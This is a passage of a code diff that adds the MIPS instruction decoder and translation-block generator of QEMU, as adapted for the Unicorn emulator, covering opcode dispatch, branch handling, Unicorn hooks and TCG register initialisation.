!CONFIG_USER_ONLY */ + break; + case OPC_MFMC0: +#ifndef CONFIG_USER_ONLY + { + uint32_t op2; + TCGv t0 = tcg_temp_new(tcg_ctx); + + op2 = MASK_MFMC0(ctx->opcode); + switch (op2) { + case OPC_DMT: + check_insn(ctx, ASE_MT); + gen_helper_dmt(tcg_ctx, t0); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case OPC_EMT: + check_insn(ctx, ASE_MT); + gen_helper_emt(tcg_ctx, t0); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case OPC_DVPE: + check_insn(ctx, ASE_MT); + gen_helper_dvpe(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case OPC_EVPE: + check_insn(ctx, ASE_MT); + gen_helper_evpe(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case OPC_DI: + check_insn(ctx, ISA_MIPS32R2); + save_cpu_state(ctx, 1); + gen_helper_di(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case OPC_EI: + check_insn(ctx, ISA_MIPS32R2); + save_cpu_state(ctx, 1); + gen_helper_ei(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + default: /* Invalid */ + MIPS_INVAL("mfmc0"); + generate_exception(ctx, EXCP_RI); + break; + } + tcg_temp_free(tcg_ctx, t0); + } +#endif /* !CONFIG_USER_ONLY */ + break; + case OPC_RDPGPR: + check_insn(ctx, ISA_MIPS32R2); + gen_load_srsgpr(ctx, rt, rd); + break; + case OPC_WRPGPR: + check_insn(ctx, ISA_MIPS32R2); + gen_store_srsgpr(ctx, rt, rd); + break; + default: + MIPS_INVAL("cp0"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_BOVC: /* OPC_BEQZALC, OPC_BEQC, OPC_ADDI */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_BOVC, OPC_BEQZALC, OPC_BEQC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } else { + /* OPC_ADDI */ + /* Arithmetic with immediate opcode */ + gen_arith_imm(ctx, op, rt, rs, imm); + } + break; + case OPC_ADDIU: + gen_arith_imm(ctx, op, rt, rs, imm); + break; + case OPC_SLTI: /* Set on less than with immediate opcode */ + case OPC_SLTIU: + gen_slt_imm(ctx, op, rt, rs, imm); + break; + case OPC_ANDI: /* Arithmetic with immediate opcode */ + case OPC_LUI: /* OPC_AUI */ + case OPC_ORI: + case OPC_XORI: + gen_logic_imm(ctx, op, rt, rs, imm); + break; + case OPC_J: case OPC_JAL: /* Jump */ + offset = (int32_t)(ctx->opcode & 0x3FFFFFF) << 2; + gen_compute_branch(ctx, op, 4, rs, rt, offset, 4); + break; + /* Branch */ + case OPC_BLEZC: /* OPC_BGEZC, OPC_BGEC, OPC_BLEZL */ + if (ctx->insn_flags & ISA_MIPS32R6) { + if (rt == 0) { + generate_exception(ctx, EXCP_RI); + break; + } + /* OPC_BLEZC, OPC_BGEZC, OPC_BGEC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } else { + /* OPC_BLEZL */ + gen_compute_branch(ctx, op, 4, rs, rt, (uint32_t)imm << 2, 4); + } + break; + case OPC_BGTZC: /* OPC_BLTZC, OPC_BLTC, OPC_BGTZL */ + if (ctx->insn_flags & ISA_MIPS32R6) { + if (rt == 0) { + generate_exception(ctx, EXCP_RI); + break; + } + /* OPC_BGTZC, OPC_BLTZC, OPC_BLTC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } else { + /* OPC_BGTZL */ + gen_compute_branch(ctx, op, 4, rs, rt, (uint32_t)imm << 2, 4); + } + break; + case OPC_BLEZALC: /* OPC_BGEZALC, OPC_BGEUC, OPC_BLEZ */ + if (rt == 0) { + /* OPC_BLEZ */ + gen_compute_branch(ctx, op, 4, rs, rt, (uint32_t)imm << 2, 4); + } else { + check_insn(ctx, ISA_MIPS32R6); + /* OPC_BLEZALC, OPC_BGEZALC, OPC_BGEUC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } + break; + case OPC_BGTZALC: /* OPC_BLTZALC, OPC_BLTUC, OPC_BGTZ */ + if (rt == 0) { + /* OPC_BGTZ */ + gen_compute_branch(ctx, op, 4, rs, rt, (uint32_t)imm << 2, 4); + } else { + check_insn(ctx, ISA_MIPS32R6); + /* OPC_BGTZALC, OPC_BLTZALC, OPC_BLTUC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } + break; + case OPC_BEQL: + case OPC_BNEL: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_BEQ: + case OPC_BNE: + gen_compute_branch(ctx, op, 4, rs, rt, (uint32_t)imm << 2, 4); + break; + case OPC_LWL: /* Load and stores */ + case OPC_LWR: + case OPC_LL: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_LB: case OPC_LH: + case OPC_LW: case OPC_LBU: case OPC_LHU: + gen_ld(ctx, op, rt, rs, imm); + break; + case OPC_SWL: + case OPC_SWR: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_SB: case OPC_SH: + case OPC_SW: + gen_st(ctx, op, rt, rs, imm); + break; + case OPC_SC: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + gen_st_cond(ctx, op, rt, rs, imm); + break; + case OPC_CACHE: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_cp0_enabled(ctx); + check_insn(ctx, ISA_MIPS3 | ISA_MIPS32); + /* Treat as NOP. */ + break; + case OPC_PREF: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_insn(ctx, ISA_MIPS4 | ISA_MIPS32); + /* Treat as NOP. */ + break; + + /* Floating point (COP1). */ + case OPC_LWC1: + case OPC_LDC1: + case OPC_SWC1: + case OPC_SDC1: + gen_cop1_ldst(ctx, op, rt, rs, imm); + break; + + case OPC_CP1: + op1 = MASK_CP1(ctx->opcode); + + switch (op1) { + case OPC_MFHC1: + case OPC_MTHC1: + check_cp1_enabled(ctx); + check_insn(ctx, ISA_MIPS32R2); + case OPC_MFC1: + case OPC_CFC1: + case OPC_MTC1: + case OPC_CTC1: + check_cp1_enabled(ctx); + gen_cp1(ctx, op1, rt, rd); + break; +#if defined(TARGET_MIPS64) + case OPC_DMFC1: + case OPC_DMTC1: + check_cp1_enabled(ctx); + check_insn(ctx, ISA_MIPS3); + gen_cp1(ctx, op1, rt, rd); + break; +#endif + case OPC_BC1EQZ: /* OPC_BC1ANY2 */ + check_cp1_enabled(ctx); + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_BC1EQZ */ + gen_compute_branch1_r6(ctx, MASK_CP1(ctx->opcode), + rt, ((uint16_t)imm) << 2); + } else { + /* OPC_BC1ANY2 */ + check_cop1x(ctx); + check_insn(ctx, ASE_MIPS3D); + gen_compute_branch1(ctx, MASK_BC1(ctx->opcode), + (rt >> 2) & 0x7, ((uint32_t)imm) << 2); + } + break; + case OPC_BC1NEZ: + check_cp1_enabled(ctx); + check_insn(ctx, ISA_MIPS32R6); + gen_compute_branch1_r6(ctx, MASK_CP1(ctx->opcode), + rt, ((uint16_t)imm) << 2); + break; + case OPC_BC1ANY4: + check_cp1_enabled(ctx); + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_cop1x(ctx); + check_insn(ctx, ASE_MIPS3D); + /* fall through */ + case OPC_BC1: + check_cp1_enabled(ctx); + check_insn_opc_removed(ctx, ISA_MIPS32R6); + gen_compute_branch1(ctx, MASK_BC1(ctx->opcode), + (rt >> 2) & 0x7, (uint32_t)imm << 2); + break; + case OPC_PS_FMT: + check_cp1_enabled(ctx); + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_S_FMT: + case OPC_D_FMT: + check_cp1_enabled(ctx); + gen_farith(ctx, ctx->opcode & FOP(0x3f, 0x1f), rt, rd, sa, + (imm >> 8) & 0x7); + break; + case OPC_W_FMT: + case OPC_L_FMT: + { + int r6_op = ctx->opcode & FOP(0x3f, 0x1f); + check_cp1_enabled(ctx); + if (ctx->insn_flags & ISA_MIPS32R6) { + switch (r6_op) { + case R6_OPC_CMP_AF_S: + case R6_OPC_CMP_UN_S: + case R6_OPC_CMP_EQ_S: + case R6_OPC_CMP_UEQ_S: + case R6_OPC_CMP_LT_S: + case R6_OPC_CMP_ULT_S: + case R6_OPC_CMP_LE_S: + case R6_OPC_CMP_ULE_S: + case R6_OPC_CMP_SAF_S: + case R6_OPC_CMP_SUN_S: + case R6_OPC_CMP_SEQ_S: + case R6_OPC_CMP_SEUQ_S: + case R6_OPC_CMP_SLT_S: + case R6_OPC_CMP_SULT_S: + case R6_OPC_CMP_SLE_S: + case R6_OPC_CMP_SULE_S: + case R6_OPC_CMP_OR_S: + case R6_OPC_CMP_UNE_S: + case R6_OPC_CMP_NE_S: + case R6_OPC_CMP_SOR_S: + case R6_OPC_CMP_SUNE_S: + case R6_OPC_CMP_SNE_S: + gen_r6_cmp_s(ctx, ctx->opcode & 0x1f, rt, rd, sa); + break; + case R6_OPC_CMP_AF_D: + case R6_OPC_CMP_UN_D: + case R6_OPC_CMP_EQ_D: + case R6_OPC_CMP_UEQ_D: + case R6_OPC_CMP_LT_D: + case R6_OPC_CMP_ULT_D: + case R6_OPC_CMP_LE_D: + case R6_OPC_CMP_ULE_D: + case R6_OPC_CMP_SAF_D: + case R6_OPC_CMP_SUN_D: + case R6_OPC_CMP_SEQ_D: + case R6_OPC_CMP_SEUQ_D: + case R6_OPC_CMP_SLT_D: + case R6_OPC_CMP_SULT_D: + case R6_OPC_CMP_SLE_D: + case R6_OPC_CMP_SULE_D: + case R6_OPC_CMP_OR_D: + case R6_OPC_CMP_UNE_D: + case R6_OPC_CMP_NE_D: + case R6_OPC_CMP_SOR_D: + case R6_OPC_CMP_SUNE_D: + case R6_OPC_CMP_SNE_D: + gen_r6_cmp_d(ctx, ctx->opcode & 0x1f, rt, rd, sa); + break; + default: + gen_farith(ctx, ctx->opcode & FOP(0x3f, 0x1f), rt, rd, sa, + (imm >> 8) & 0x7); + break; + } + } else { + gen_farith(ctx, ctx->opcode & FOP(0x3f, 0x1f), rt, rd, sa, + (imm >> 8) & 0x7); + } + break; + } + case OPC_BZ_V: + case OPC_BNZ_V: + case OPC_BZ_B: + case OPC_BZ_H: + case OPC_BZ_W: + case OPC_BZ_D: + case OPC_BNZ_B: + case OPC_BNZ_H: + case OPC_BNZ_W: + case OPC_BNZ_D: + check_insn(ctx, ASE_MSA); + gen_msa_branch(env, ctx, op1); + break; + default: + MIPS_INVAL("cp1"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + + /* Compact branches [R6] and COP2 [non-R6] */ + case OPC_BC: /* OPC_LWC2 */ + case OPC_BALC: /* OPC_SWC2 */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_BC, OPC_BALC */ + gen_compute_compact_branch(ctx, op, 0, 0, + sextract32(ctx->opcode << 2, 0, 28)); + } else { + /* OPC_LWC2, OPC_SWC2 */ + /* COP2: Not implemented. */ + generate_exception_err(ctx, EXCP_CpU, 2); + } + break; + case OPC_BEQZC: /* OPC_JIC, OPC_LDC2 */ + case OPC_BNEZC: /* OPC_JIALC, OPC_SDC2 */ + if (ctx->insn_flags & ISA_MIPS32R6) { + if (rs != 0) { + /* OPC_BEQZC, OPC_BNEZC */ + gen_compute_compact_branch(ctx, op, rs, 0, + sextract32(ctx->opcode << 2, 0, 23)); + } else { + /* OPC_JIC, OPC_JIALC */ + gen_compute_compact_branch(ctx, op, 0, rt, imm); + } + } else { + /* OPC_LWC2, OPC_SWC2 */ + /* COP2: Not implemented. */ + generate_exception_err(ctx, EXCP_CpU, 2); + } + break; + case OPC_CP2: + check_insn(ctx, INSN_LOONGSON2F); + /* Note that these instructions use different fields. */ + gen_loongson_multimedia(ctx, sa, rd, rt); + break; + + case OPC_CP3: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + if (ctx->CP0_Config1 & (1 << CP0C1_FP)) { + check_cp1_enabled(ctx); + op1 = MASK_CP3(ctx->opcode); + switch (op1) { + case OPC_LWXC1: + case OPC_LDXC1: + case OPC_LUXC1: + case OPC_SWXC1: + case OPC_SDXC1: + case OPC_SUXC1: + gen_flt3_ldst(ctx, op1, sa, rd, rs, rt); + break; + case OPC_PREFX: + /* Treat as NOP. */ + break; + case OPC_ALNV_PS: + case OPC_MADD_S: + case OPC_MADD_D: + case OPC_MADD_PS: + case OPC_MSUB_S: + case OPC_MSUB_D: + case OPC_MSUB_PS: + case OPC_NMADD_S: + case OPC_NMADD_D: + case OPC_NMADD_PS: + case OPC_NMSUB_S: + case OPC_NMSUB_D: + case OPC_NMSUB_PS: + gen_flt3_arith(ctx, op1, sa, rs, rd, rt); + break; + default: + MIPS_INVAL("cp3"); + generate_exception (ctx, EXCP_RI); + break; + } + } else { + generate_exception_err(ctx, EXCP_CpU, 1); + } + break; + +#if defined(TARGET_MIPS64) + /* MIPS64 opcodes */ + case OPC_LDL: case OPC_LDR: + case OPC_LLD: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_LWU: + case OPC_LD: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_ld(ctx, op, rt, rs, imm); + break; + case OPC_SDL: case OPC_SDR: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + case OPC_SD: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_st(ctx, op, rt, rs, imm); + break; + case OPC_SCD: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_st_cond(ctx, op, rt, rs, imm); + break; + case OPC_BNVC: /* OPC_BNEZALC, OPC_BNEC, OPC_DADDI */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_BNVC, OPC_BNEZALC, OPC_BNEC */ + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } else { + /* OPC_DADDI */ + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_arith_imm(ctx, op, rt, rs, imm); + } + break; + case OPC_DADDIU: + check_insn(ctx, ISA_MIPS3); + check_mips_64(ctx); + gen_arith_imm(ctx, op, rt, rs, imm); + break; +#else + case OPC_BNVC: /* OPC_BNEZALC, OPC_BNEC */ + if (ctx->insn_flags & ISA_MIPS32R6) { + gen_compute_compact_branch(ctx, op, rs, rt, (uint32_t)imm << 2); + } else { + MIPS_INVAL("major opcode"); + generate_exception(ctx, EXCP_RI); + } + break; +#endif + case OPC_DAUI: /* OPC_JALX */ + if (ctx->insn_flags & ISA_MIPS32R6) { +#if defined(TARGET_MIPS64) + /* OPC_DAUI */ + check_mips_64(ctx); + if (rt != 0) { + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rt], t0, (uint32_t)imm << 16); + tcg_temp_free(tcg_ctx, t0); + } + MIPS_DEBUG("daui %s, %s, %04x", regnames[rt], regnames[rs], imm); +#else + generate_exception(ctx, EXCP_RI); + MIPS_INVAL("major opcode"); +#endif + } else { + /* OPC_JALX */ + check_insn(ctx, ASE_MIPS16 | ASE_MICROMIPS); + offset = (int32_t)(ctx->opcode & 0x3FFFFFF) << 2; + gen_compute_branch(ctx, op, 4, rs, rt, offset, 4); + } + break; + case OPC_MSA: /* OPC_MDMX */ + /* MDMX: Not implemented. */ + gen_msa(env, ctx); + break; + case OPC_PCREL: + check_insn(ctx, ISA_MIPS32R6); + gen_pcrel(ctx, rs, imm); + break; + default: /* Invalid */ + MIPS_INVAL("major opcode"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static inline void +gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb, + bool search_pc) +{ + CPUState *cs = CPU(cpu); + CPUMIPSState *env = &cpu->env; + DisasContext ctx; + target_ulong pc_start; + uint16_t *gen_opc_end; + CPUBreakpoint *bp; + int j, lj = -1; + int num_insns; + int max_insns; + int insn_bytes; + int is_slot = 0; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TCGArg *save_opparam_ptr = NULL; + bool block_full = false; + + if (search_pc) + qemu_log("search pc %d\n", search_pc); + + pc_start = tb->pc; + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + ctx.uc = env->uc; + ctx.pc = pc_start; + ctx.saved_pc = -1; + ctx.singlestep_enabled = cs->singlestep_enabled; + ctx.insn_flags = env->insn_flags; + ctx.CP0_Config1 = env->CP0_Config1; + ctx.tb = tb; + ctx.bstate = BS_NONE; + ctx.kscrexist = (env->CP0_Config4 >> CP0C4_KScrExist) & 0xff; + ctx.rxi = (env->CP0_Config3 >> CP0C3_RXI) & 1; + ctx.ie = (env->CP0_Config4 >> CP0C4_IE) & 3; + ctx.bi = (env->CP0_Config3 >> CP0C3_BI) & 1; + ctx.bp = (env->CP0_Config3 >> CP0C3_BP) & 1; + /* Restore delay slot state from the tb context. */ + ctx.hflags = (uint32_t)tb->flags; /* FIXME: maybe use 64 bits here? */ + ctx.ulri = env->CP0_Config3 & (1 << CP0C3_ULRI); + restore_cpu_state(env, &ctx); +#ifdef CONFIG_USER_ONLY + ctx.mem_idx = MIPS_HFLAG_UM; +#else + ctx.mem_idx = ctx.hflags & MIPS_HFLAG_KSU; +#endif + num_insns = 0; + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) + max_insns = CF_COUNT_MASK; + LOG_DISAS("\ntb %p idx %d hflags %04x\n", tb, ctx.mem_idx, ctx.hflags); + + // Unicorn: early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + gen_tb_start(tcg_ctx); + gen_helper_wait(tcg_ctx, tcg_ctx->cpu_env); + ctx.bstate = BS_EXCP; + goto done_generating; + } + + // Unicorn: trace this block on request + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + // save block address to see if we need to patch block size later + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } else { + env->uc->size_arg = -1; + } + + gen_tb_start(tcg_ctx); + while (ctx.bstate == BS_NONE) { + // printf(">>> mips pc = %x\n", ctx.pc); + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == ctx.pc) { + save_cpu_state(&ctx, 1); + ctx.bstate = BS_BRANCH; + gen_helper_0e0i(tcg_ctx, raise_exception, EXCP_DEBUG); + /* Include the breakpoint location or the tb won't + * be flushed when it must be. */ + ctx.pc += 4; + goto done_generating; + } + } + } + + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + tcg_ctx->gen_opc_pc[lj] = ctx.pc; + tcg_ctx->gen_opc_hflags[lj] = ctx.hflags & MIPS_HFLAG_BMASK; + tcg_ctx->gen_opc_btarget[lj] = ctx.btarget; + tcg_ctx->gen_opc_instr_start[lj] = 1; + tcg_ctx->gen_opc_icount[lj] = num_insns; + } + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) + // gen_io_start(); + + // Unicorn: end address tells us to stop emulation + if (ctx.pc == ctx.uc->addr_end) { + gen_helper_wait(tcg_ctx, tcg_ctx->cpu_env); + ctx.bstate = BS_EXCP; + break; + } else { + bool insn_need_patch = false; + int insn_patch_offset = 1; + + // Unicorn: save param buffer + if (HOOK_EXISTS(env->uc, UC_HOOK_CODE)) + save_opparam_ptr = tcg_ctx->gen_opparam_ptr; + + is_slot = ctx.hflags & MIPS_HFLAG_BMASK; + + if (!(ctx.hflags & MIPS_HFLAG_M16)) { + ctx.opcode = cpu_ldl_code(env, ctx.pc); + insn_bytes = 4; + decode_opc(env, &ctx, &insn_need_patch, &insn_patch_offset); + } else if (ctx.insn_flags & ASE_MICROMIPS) { + ctx.opcode = cpu_lduw_code(env, ctx.pc); + insn_bytes = decode_micromips_opc(env, &ctx, &insn_need_patch); + } else if (ctx.insn_flags & ASE_MIPS16) { + ctx.opcode = cpu_lduw_code(env, ctx.pc); + insn_bytes = decode_mips16_opc(env, &ctx, &insn_need_patch); + } else { + generate_exception(&ctx, EXCP_RI); + ctx.bstate = BS_STOP; + break; + } + + // Unicorn: patch the callback for the instruction size + if (insn_need_patch) { + /* + int i; + for (i = 0; i < 30; i++) + printf("[%u] = %x\n", i, *(save_opparam_ptr + i)); + printf("\n"); + */ + *(save_opparam_ptr + insn_patch_offset) = insn_bytes; + } + } + + if (ctx.hflags & MIPS_HFLAG_BMASK) { + if (!(ctx.hflags & (MIPS_HFLAG_BDS16 | MIPS_HFLAG_BDS32 | + MIPS_HFLAG_FBNSLOT))) { + /* force to generate branch as there is neither delay nor + forbidden slot */ + is_slot = 1; + } + } + + if (is_slot) { + gen_branch(&ctx, insn_bytes); + } + ctx.pc += insn_bytes; + + num_insns++; + + /* Execute a branch and its delay slot as a single instruction. + This is what GDB expects and is consistent with what the + hardware does (e.g. if a delay slot instruction faults, the + reported PC is the PC of the branch). */ + if (cs->singlestep_enabled && (ctx.hflags & MIPS_HFLAG_BMASK) == 0) { + break; + } + + if ((ctx.pc & (TARGET_PAGE_SIZE - 1)) == 0) + break; + + if (tcg_ctx->gen_opc_ptr >= gen_opc_end) { + break; + } + + if (num_insns >= max_insns) + break; + + //if (singlestep) + // break; + } + + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + + //if (tb->cflags & CF_LAST_IO) { + // gen_io_end(); + //} + if (cs->singlestep_enabled && ctx.bstate != BS_BRANCH) { + save_cpu_state(&ctx, ctx.bstate != BS_EXCP); + gen_helper_0e0i(tcg_ctx, raise_exception, EXCP_DEBUG); + } else { + switch (ctx.bstate) { + case BS_STOP: + gen_goto_tb(&ctx, 0, ctx.pc); + env->uc->next_pc = ctx.pc; + break; + case BS_NONE: + save_cpu_state(&ctx, 0); + gen_goto_tb(&ctx, 0, ctx.pc); + break; + case BS_EXCP: + tcg_gen_exit_tb(tcg_ctx, 0); + break; + case BS_BRANCH: + default: + break; + } + } +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } else { + tb->size = ctx.pc - pc_start; + tb->icount = num_insns; + } + + env->uc->block_full = block_full; +} + +void gen_intermediate_code (CPUMIPSState *env, struct TranslationBlock *tb) +{ + gen_intermediate_code_internal(mips_env_get_cpu(env), tb, false); +} + +void gen_intermediate_code_pc (CPUMIPSState *env, struct TranslationBlock *tb) +{ + gen_intermediate_code_internal(mips_env_get_cpu(env), tb, true); +} + +#if 0 +static void fpu_dump_state(CPUMIPSState *env, FILE *f, fprintf_function fpu_fprintf, + int flags) +{ + int i; + int is_fpu64 = !!(env->hflags & MIPS_HFLAG_F64); + +#define printfpr(fp) \ + do { \ + if (is_fpu64) \ + fpu_fprintf(f, "w:%08x d:%016" PRIx64 \ + " fd:%13g fs:%13g psu: %13g\n", \ + (fp)->w[FP_ENDIAN_IDX], (fp)->d, \ + (double)(fp)->fd, \ + (double)(fp)->fs[FP_ENDIAN_IDX], \ + (double)(fp)->fs[!FP_ENDIAN_IDX]); \ + else { \ + fpr_t tmp; \ + tmp.w[FP_ENDIAN_IDX] = (fp)->w[FP_ENDIAN_IDX]; \ + tmp.w[!FP_ENDIAN_IDX] = ((fp) + 1)->w[FP_ENDIAN_IDX]; \ + fpu_fprintf(f, "w:%08x d:%016" PRIx64 \ + " fd:%13g fs:%13g psu:%13g\n", \ + tmp.w[FP_ENDIAN_IDX], tmp.d, \ + (double)tmp.fd, \ + (double)tmp.fs[FP_ENDIAN_IDX], \ + (double)tmp.fs[!FP_ENDIAN_IDX]); \ + } \ + } while(0) + + + fpu_fprintf(f, "CP1 FCR0 0x%08x FCR31 0x%08x SR.FR %d fp_status 0x%02x\n", + env->active_fpu.fcr0, env->active_fpu.fcr31, is_fpu64, + get_float_exception_flags(&env->active_fpu.fp_status)); + for (i = 0; i < 32; (is_fpu64) ? i++ : (i += 2)) { + fpu_fprintf(f, "%3s: ", fregnames[i]); + printfpr(&env->active_fpu.fpr[i]); + } + +#undef printfpr +} +#endif + +#if defined(TARGET_MIPS64) && defined(MIPS_DEBUG_SIGN_EXTENSIONS) +/* Debug help: The architecture requires 32bit code to maintain proper + sign-extended values on 64bit machines. */ + +#define SIGN_EXT_P(val) ((((val) & ~0x7fffffff) == 0) || (((val) & ~0x7fffffff) == ~0x7fffffff)) + +static void +cpu_mips_check_sign_extensions (CPUMIPSState *env, FILE *f, + fprintf_function cpu_fprintf, + int flags) +{ + int i; + + if (!SIGN_EXT_P(env->active_tc.PC)) + cpu_fprintf(f, "BROKEN: pc=0x" TARGET_FMT_lx "\n", env->active_tc.PC); + if (!SIGN_EXT_P(env->active_tc.HI[0])) + cpu_fprintf(f, "BROKEN: HI=0x" TARGET_FMT_lx "\n", env->active_tc.HI[0]); + if (!SIGN_EXT_P(env->active_tc.LO[0])) + cpu_fprintf(f, "BROKEN: LO=0x" TARGET_FMT_lx "\n", env->active_tc.LO[0]); + if (!SIGN_EXT_P(env->btarget)) + cpu_fprintf(f, "BROKEN: btarget=0x" TARGET_FMT_lx "\n", env->btarget); + + for (i = 0; i < 32; i++) { + if (!SIGN_EXT_P(env->active_tc.gpr[i])) + cpu_fprintf(f, "BROKEN: %s=0x" TARGET_FMT_lx "\n", regnames[i], env->active_tc.gpr[i]); + } + + if (!SIGN_EXT_P(env->CP0_EPC)) + cpu_fprintf(f, "BROKEN: EPC=0x" TARGET_FMT_lx "\n", env->CP0_EPC); + if (!SIGN_EXT_P(env->lladdr)) + cpu_fprintf(f, "BROKEN: LLAddr=0x" TARGET_FMT_lx "\n", env->lladdr); +} +#endif + +void mips_tcg_init(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + TCGv **cpu_gpr; + int i; + + tcg_ctx->cpu_env = tcg_global_reg_new_ptr(uc->tcg_ctx, TCG_AREG0, "env"); + + if (!uc->init_tcg) { + for (i = 0; i < 32; i++) { + tcg_ctx->cpu_gpr[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_gpr[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_tc.gpr[i]), + regnames[i]); + } + } + + cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + TCGV_UNUSED(*cpu_gpr[0]); + + for (i = 0; i < 32; i++) { + int off = offsetof(CPUMIPSState, active_fpu.fpr[i].wr.d[0]); + tcg_ctx->msa_wr_d[i * 2] = + tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, off, msaregnames[i * 2]); + /* The scalar floating-point unit (FPU) registers are mapped on + * the MSA vector registers. */ + tcg_ctx->fpu_f64[i] = tcg_ctx->msa_wr_d[i * 2]; + off = offsetof(CPUMIPSState, active_fpu.fpr[i].wr.d[1]); + tcg_ctx->msa_wr_d[i * 2 + 1] = + tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, off, msaregnames[i * 2 + 1]); + } + + if (!uc->init_tcg) + tcg_ctx->cpu_PC = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_PC) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_tc.PC), "PC"); + + if (!uc->init_tcg) { + for (i = 0; i < MIPS_DSP_ACC; i++) { + tcg_ctx->cpu_HI[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_HI[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_tc.HI[i]), + regnames_HI[i]); + tcg_ctx->cpu_LO[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_LO[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_tc.LO[i]), + regnames_LO[i]); + } + } + + if (!uc->init_tcg) + tcg_ctx->cpu_dspctrl = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_dspctrl) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, active_tc.DSPControl), + "DSPControl"); + + if (!uc->init_tcg) + tcg_ctx->bcond = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->bcond) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, bcond), "bcond"); + + if (!uc->init_tcg) + tcg_ctx->btarget = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->btarget) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, btarget), "btarget"); + + tcg_ctx->hflags = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, + offsetof(CPUMIPSState, hflags), "hflags"); + + //tcg_ctx->fpu_fcr0 = 